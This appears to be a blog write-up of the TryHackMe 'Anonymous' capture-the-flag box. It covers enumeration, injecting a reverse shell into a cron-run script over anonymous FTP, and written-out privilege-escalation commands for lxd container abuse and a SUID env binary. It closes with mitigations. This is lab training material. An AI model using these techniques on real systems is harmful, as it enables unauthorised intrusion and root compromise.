Anonymous Write-up

Fahri Korkmaz
4 min readMar 21, 2021

Description

Anonymous is a boot2root CTF on TryHackMe. It has medium difficulty. Initial access has been accomplished through injecting a reverse shell into a script on the FTP server. This script was run by a cronjob. After that privilege escalation to root was done via a misconfigured SUID binary.

Enumeration

First of all we start a Nmap scan against the target.

sudo nmap 10.10.237.17 -sC -sV -p- -O -oN nmap/all

The SMB share can be enumerated with the smbclient command. First of all the shares are listed.

smbclient -L //10.10.237.17/

In the next step the contents of the share was downloaded to the attacker machine. But these images did not contain any valuable information.

smbclient //10.10.237.17/<share_name>/

On the FTP server anonymous login is allowed.

The FTP server contains a scripts folder. We have full access to this folder. Inside this folder there are three files. To be able to analyze these files, these files are downloaded to the attacker machine.

The to_do.txt file does not contain any valuable information.

But the clean.sh and the removed_files.log do.

Initial Access

In the next step a reverse shell was placed into clean.sh.

After that the file was uploaded to the FTP server.

Next a listener was started with pwncat. After waiting for a while, the box has connected to the listener.

Privilege Escalation

In the picture above, it can be clearly seen that the user namelessone is part of the “lxd” group. This can be abused to gain a root shell. This website describes how this can be accomplished. First of all a container will be created on the attacker machine by running the following commands:

sudo apt updatesudo apt install -y golang-go debootstrap rsync gpg squashfs-toolsgo get -d -v github.com/lxc/distrobuildercd $HOME/go/src/github.com/lxc/distrobuildermakecdmkdir -p $HOME/ContainerImages/alpine/cd $HOME/ContainerImages/alpine/wget https://raw.githubusercontent.com/lxc/lxc-ci/master/images/alpine.yamlsudo $HOME/go/bin/distrobuilder build-lxd alpine.yaml -o image.release=3.8

Finally these files should be inside ~/ContainerImages/alpine:

Now these files have to be uploaded to the target. This can be easily accomplished with pwncat. After pressing CTR + D the following commands will upload the lxd.tar.xz and the rootfs.squashfs files inside the tmp folder of the target.

upload /home/kali/ContainerImages/alpine/lxd.tar.xz /tmp
upload /home/kali/ContainerImages/alpine/rootfs.squashfs /tmp

After that press CTR + D again to get the shell as namelessone.

Now the container has to build on the victim machine with the following commands.

cd /tmplxc image import lxd.tar.xz rootfs.squashfs — alias alpinelxd initlxc init alpine privesc -c security.privileged=truelxc config device add privesc host-root disk source\=/ path\=/mnt/root recursive\=true

Finally the container will be executed.

lxc start privesclxc exec privesc /bin/sh

Unfortunately I was not able to get the root flag with this way. So another privilege escalation had to be found. To find another attack vector the LinEnum script has been used. This script is located /opt/LinEnum/LinEnum.sh on my machine. It can be easily uploaded to the victim with pwncat.

upload /opt/LinEnum/LinEnum.sh /tmp/LinEnum.sh

Now it can be run from the /tmp directory.

bash LinEnum.sh

This script will also output binaries with the SUID bit set. Fortunately the env binary has the SUID bit set.

This can be used to elevate privileges to root.

env /bin/sh -p

Mitigation

The FTP server should not allow anonymous login. If anonymous login is needed, then the anonymous user should not have access to sensitive information. Also an anonymous user should not have the privilege to write into an FTP folder. Furthermore namelessone should not be part of the lxd group, if not needed. Also the misconfiguration of the env binary should be fixed.

--

--